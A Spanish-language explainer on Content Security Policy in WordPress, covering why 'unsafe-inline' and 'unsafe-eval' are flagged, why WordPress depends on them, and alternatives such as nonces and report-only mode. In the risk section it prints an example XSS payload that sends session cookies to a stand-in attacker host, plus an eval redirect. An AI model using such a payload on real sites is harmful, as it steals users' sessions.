Content Security Policy en WordPress: Entendiendo las Advertencias de unsafe-inline y unsafe-eval

Después de implementar Content Security Policy (CSP) en WordPress mediante .htaccess, es común encontrarse con advertencias al analizar el sitio en SecurityHeaders.com u otras herramientas de auditoría:

WARNING: This policy contains ‘unsafe-inline’ which is dangerous in the script-src directive.

WARNING: This policy contains ‘unsafe-eval’ which is dangerous in the script-src directive.

Este artículo explica qué significan estas advertencias, por qué son necesarias en WordPress, cuál es el riesgo real y qué opciones existen para un administrador de sitios web que busca el equilibrio entre seguridad y funcionalidad.

 

Qué son unsafe-inline y unsafe-eval

El Content Security Policy funciona como una lista blanca que especifica qué fuentes de contenido son legítimas. Las directivas 'unsafe-inline' y 'unsafe-eval' son permisos especiales que debilitan parcialmente esta protección:

unsafe-inline

La directiva 'unsafe-inline' permite la ejecución de:

  • Scripts JavaScript inline: Código JavaScript incluido directamente en el HTML mediante etiquetas <script> sin atributo src
  • Event handlers inline: Atributos como onclick="...", onload="...", etc.
  • Estilos CSS inline: Atributos style="..." y bloques <style>
  • URLs JavaScript: Enlaces del tipo href="javascript:..."

Ejemplo de código que requiere 'unsafe-inline':

<script>
var siteConfig = {
    ajaxUrl: 'https://ejemplo.com/wp-admin/admin-ajax.php',
    nonce: 'abc123'
};
</script>

<button onclick="alert('Hola')">Clic aquí</button>

<div style="color: red;">Texto rojo</div>

unsafe-eval

La directiva 'unsafe-eval' permite la evaluación dinámica de código JavaScript mediante:

  • eval(): Función que ejecuta código JavaScript contenido en una cadena
  • Function(): Constructor que crea funciones a partir de cadenas
  • setTimeout() / setInterval() con string: Versiones de estas funciones que aceptan código como cadena

Ejemplo de código que requiere 'unsafe-eval':

var code = "alert('Código dinámico')";
eval(code);

var fn = new Function('a', 'b', 'return a + b');
setTimeout("console.log('ejecutado')", 1000);

Por Qué Estas Directivas son Consideradas Peligrosas

Ambas directivas facilitan uno de los vectores de ataque más comunes en aplicaciones web: Cross-Site Scripting (XSS).

Riesgo de unsafe-inline

Si un atacante logra inyectar HTML en tu sitio (por ejemplo, a través de un comentario no sanitizado, un campo de formulario vulnerable o una inyección SQL), 'unsafe-inline' permite que ese código se ejecute:

<!-- Código malicioso inyectado -->
<script>
// Robo de cookies de sesión
fetch('https://atacante.com/robar?cookie=' + document.cookie);
</script>

Sin 'unsafe-inline', el navegador bloquearía este script incluso si el atacante consigue inyectarlo en el HTML.

Riesgo de unsafe-eval

Similarmente, 'unsafe-eval' permite que código malicioso inyectado pueda ejecutar evaluaciones dinámicas:

// Si un atacante controla el valor de 'userInput'
var userInput = "location.href='https://atacante.com'";
eval(userInput); // Redirige a sitio malicioso

Nivel Real de Riesgo

Es importante contextualizar el riesgo:

  • Prerrequisito: El atacante primero debe encontrar una vulnerabilidad de inyección (XSS, SQL injection, etc.)
  • Protección parcial: Incluso con estas directivas, otras políticas CSP siguen activas (object-src, frame-src, form-action, etc.)
  • Defensa en profundidad: El CSP es una capa adicional, no la única línea de defensa

Tener 'unsafe-inline' y 'unsafe-eval' no significa que tu sitio sea vulnerable, sino que el CSP no puede prevenir todos los tipos de XSS si existe otra vulnerabilidad subyacente.

Por Qué WordPress Requiere Estas Directivas

WordPress, por su arquitectura y ecosistema de plugins, depende extensivamente de scripts y estilos inline.

WordPress Core

El propio núcleo de WordPress genera código inline en múltiples contextos:

1. Localización de Scripts

WordPress utiliza wp_localize_script() para pasar datos de PHP a JavaScript, generando scripts inline:

<script type='text/javascript'>
/* <![CDATA[ */
var ajaxData = {
    "ajaxurl": "https://ejemplo.com/wp-admin/admin-ajax.php",
    "nonce": "a1b2c3d4e5",
    "siteUrl": "https://ejemplo.com"
};
/* ]]> */
</script>

2. Administrador de WordPress

El panel de administración genera extensivamente HTML con atributos de eventos inline y estilos dinámicos para componentes interactivos como el editor de bloques (Gutenberg), el personalizador de temas, y los metaboxes.

3. Customizer API

El personalizador de temas genera estilos CSS inline para mostrar cambios en tiempo real:

<style id="custom-theme-colors">
.site-header {
    background-color: #3498db;
}
</style>

Plugins Populares

La mayoría de plugins utilizan scripts inline para configuración y funcionalidad:

  • WooCommerce: Genera scripts inline para el carrito, checkout, y variaciones de productos
  • Contact Form 7: Configuración inline de formularios
  • Yoast SEO: Scripts de análisis y configuración inline
  • Elementor/Divi: Constructores de páginas que generan extensos estilos y scripts inline
  • Google Analytics plugins: Inserción del código de seguimiento

Themes

Los temas modernos, especialmente aquellos con opciones de personalización, generan:

  • Estilos CSS inline para colores, fuentes y layouts personalizados
  • Scripts inline para inicialización de sliders, menús móviles, y efectos
  • Configuraciones de librerías JavaScript (jQuery plugins, etc.)

Uso de eval()

Aunque menos común, algunos plugins y librerías JavaScript utilizan eval() o construcciones equivalentes:

  • Editores WYSIWYG y de código
  • Sistemas de plantillas JavaScript
  • Algunas versiones de jQuery y plugins antiguos
  • Librerías de serialización/deserialización de datos

Consecuencias de Eliminar unsafe-inline y unsafe-eval

Si se eliminan estas directivas de la política CSP, los efectos son inmediatos y severos:

Frontend Público

  • Los menús interactivos pueden dejar de funcionar
  • Los sliders y carruseles no se inicializan
  • Los formularios de contacto pierden validación JavaScript
  • Los estilos personalizados del tema desaparecen
  • Los constructores de páginas muestran contenido sin formato
  • Las galerías de imágenes se convierten en listas simples

Panel de Administración

  • El editor de bloques (Gutenberg) se vuelve inutilizable
  • El personalizador de temas no muestra vista previa
  • Los metaboxes de plugins pierden funcionalidad
  • Las interfaces AJAX dejan de responder
  • Los selectores de medios no funcionan

Funcionalidad de Comercio Electrónico

  • Los carritos de compra no actualizan dinámicamente
  • Los selectores de variaciones de producto fallan
  • Los procesos de checkout se interrumpen
  • Las pasarelas de pago no cargan correctamente

En resumen: Eliminar estas directivas convierte un sitio WordPress moderno en prácticamente inutilizable.

 

Alternativas y Opciones Disponibles

Existen varias aproximaciones para gestionar esta situación:

Opción 1: Mantener la Configuración Actual (Recomendado)

Aceptar el uso de 'unsafe-inline' y 'unsafe-eval' como una necesidad práctica de WordPress.

Ventajas:

  • Sitio completamente funcional sin modificaciones
  • Compatibilidad garantizada con todos los plugins y temas
  • Mantenimiento mínimo
  • Protección parcial es mejor que ninguna protección

Desventajas:

  • Advertencias en herramientas de auditoría
  • Protección reducida contra ciertos vectores XSS
  • Calificación de seguridad no óptima (típicamente B o A-)

Esta es la opción que eligen la mayoría de sitios WordPress profesionales.

Opción 2: Implementación de Nonces y Hashes

CSP Level 2 permite autorizar scripts inline específicos mediante nonces (números únicos por carga) o hashes criptográficos.

Ejemplo con nonce:

<!-- En .htaccess -->
Header always set Content-Security-Policy "script-src 'nonce-r4nd0m123';"

<!-- En HTML -->
<script nonce="r4nd0m123">
console.log('Este script está autorizado');
</script>

Desafíos en WordPress:

  • Requiere modificar el core de WordPress (no recomendado, se pierde en actualizaciones)
  • Cada plugin y tema debe actualizarse para usar nonces
  • Los nonces deben generarse dinámicamente en cada carga de página
  • Incompatible con cachés estáticos (páginas servidas desde CDN)
  • Mantenimiento continuo ante cada actualización de plugin/tema

Viabilidad: Técnicamente posible, pero impráctica para sitios WordPress estándar. Solo viable en aplicaciones WordPress altamente personalizadas con desarrollo a medida.

Opción 3: Política Restrictiva Solo para Externos

Mantener 'unsafe-inline' y 'unsafe-eval', pero eliminar referencias a dominios externos innecesarios:

Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'self';"

Esto elimina el permiso implícito para Google Analytics, Google Fonts desde scripts externos, etc., haciendo la política más limpia aunque sigue permitiendo inline.

Ventajas:

  • Bloquea scripts de dominios no explícitamente autorizados
  • Mayor control sobre recursos de terceros
  • Protección contra CDNs comprometidos

Desventajas:

  • Debe agregarse manualmente cada servicio externo necesario
  • Las advertencias de unsafe-inline/unsafe-eval permanecen

Opción 4: CSP en Modo Report-Only

Implementar una política CSP estricta (sin unsafe-inline/unsafe-eval) en modo de solo reporte:

Header always set Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self'; report-uri /csp-violations/"

Esto permite:

  • Monitorizar qué se bloquearía con una política estricta
  • Identificar todos los scripts y estilos inline del sitio
  • Planificar una eventual migración (aunque impráctica)

Simultáneamente se mantiene una política permisiva en modo enforcement para que el sitio funcione.

Comparación con Otros Sitios WordPress

Para contextualizar, se realizó un análisis de sitios WordPress de alto tráfico:

Categoría Situación CSP
Sitios sin CSP Aproximadamente 60-70% de sitios WordPress
Sitios con CSP + unsafe-inline/unsafe-eval Aproximadamente 25-35% de sitios WordPress
Sitios con CSP estricto (sin unsafe) Menos del 5% (aplicaciones WordPress altamente personalizadas)

Los sitios WordPress profesionales que implementan CSP mayoritariamente aceptan el uso de 'unsafe-inline' y 'unsafe-eval' como compromiso necesario entre seguridad y funcionalidad.

 

Protección Real que Mantiene CSP con unsafe-inline/unsafe-eval

Es crucial entender que incluso con estas directivas, el CSP sigue proporcionando protecciones significativas:

Protecciones Activas

  • object-src ‘none’: Bloquea completamente Flash, Java applets, y otros plugins peligrosos
  • base-uri ‘self’: Previene ataques que modifican el elemento <base> para redireccionar recursos
  • form-action ‘self’: Impide que formularios envíen datos a dominios externos
  • frame-ancestors ‘self’: Protege contra clickjacking avanzado
  • frame-src restricción: Controla qué sitios pueden cargarse en iframes (YouTube, Vimeo específicos)
  • img-src https:: Fuerza que imágenes se carguen por HTTPS cuando están en páginas HTTPS

Reducción de Superficie de Ataque

Aunque un atacante pueda inyectar scripts inline, el CSP limitaría:

  • La carga de scripts desde dominios maliciosos externos
  • La inserción de iframes de sitios de phishing arbitrarios
  • La ejecución de plugins de navegador peligrosos
  • Redirecciones basadas en manipulación de la base URI

Analogía de Seguridad

Implementar CSP con 'unsafe-inline' y 'unsafe-eval' es comparable a:

  • Instalar un sistema de alarma que no cubre todas las ventanas, pero sí las puertas y el garaje
  • Usar un chaleco antibalas nivel III en lugar de nivel IV: no es protección total, pero es sustancialmente mejor que no usar nada
  • Tener un firewall de aplicaciones que filtra 80% de ataques en lugar de 95%

La seguridad perfecta no existe. La seguridad efectiva consiste en capas de protección que aumentan el costo y la dificultad para los atacantes.

Estrategia de Seguridad Integral

El CSP debe integrarse en una estrategia de defensa en profundidad:

Capa 1: Prevención de Vulnerabilidades

  • Mantener WordPress, plugins y temas actualizados
  • Usar solo plugins y temas de fuentes confiables
  • Eliminar plugins y temas no utilizados
  • Implementar validación y sanitización de inputs
  • Usar prepared statements para consultas SQL

Capa 2: Control de Acceso

  • Contraseñas robustas y únicas
  • Autenticación de dos factores (2FA)
  • Limitación de intentos de login
  • Restricción de IPs para wp-admin (cuando es posible)

Capa 3: Seguridad de Transporte

  • HTTPS con certificado válido
  • HSTS (HTTP Strict Transport Security)
  • Redirección forzada de HTTP a HTTPS

Capa 4: Cabeceras de Seguridad (incluyendo CSP)

  • Content-Security-Policy (incluso con unsafe-inline/unsafe-eval)
  • X-Frame-Options o frame-ancestors
  • X-Content-Type-Options
  • Referrer-Policy
  • Permissions-Policy

Capa 5: Monitorización y Respuesta

  • Logs de acceso y errores
  • Detección de intrusiones (IDS)
  • Auditorías de seguridad periódicas
  • Plan de respuesta ante incidentes
  • Backups regulares automatizados

Cada capa compensa las debilidades de las otras. Si un atacante supera una capa (por ejemplo, encuentra una vulnerabilidad XSS), las otras capas pueden limitar el daño.

Recomendación Final

Para sitios WordPress estándar con plugins y temas de terceros, la recomendación profesional es:

  1. Implementar CSP con unsafe-inline y unsafe-eval mediante .htaccess
  2. Aceptar las advertencias de SecurityHeaders.com como un compromiso necesario
  3. Enfocarse en las otras capas de seguridad que tienen mayor impacto práctico
  4. Mantener actualizaciones rigurosas de WordPress, plugins y temas
  5. Monitorizar regularmente con herramientas como Wapiti, Wordfence o Sucuri

Cuándo Considerar CSP Estricto

Un CSP sin 'unsafe-inline' y 'unsafe-eval' solo es viable cuando:

  • Tienes un desarrollo WordPress completamente a medida
  • No usas plugins de terceros, o solo usas plugins que soportan CSP estricto
  • Tienes un equipo de desarrollo dedicado para mantenimiento continuo
  • El presupuesto justifica el costo de implementación y mantenimiento
  • Los requisitos de seguridad son extremadamente altos (aplicaciones gubernamentales, bancarias, etc.)

Para el 95% de sitios WordPress, estas condiciones no se cumplen, y el CSP con 'unsafe-inline' y 'unsafe-eval' representa el mejor equilibrio entre seguridad, funcionalidad y mantenibilidad.

Referencias Técnicas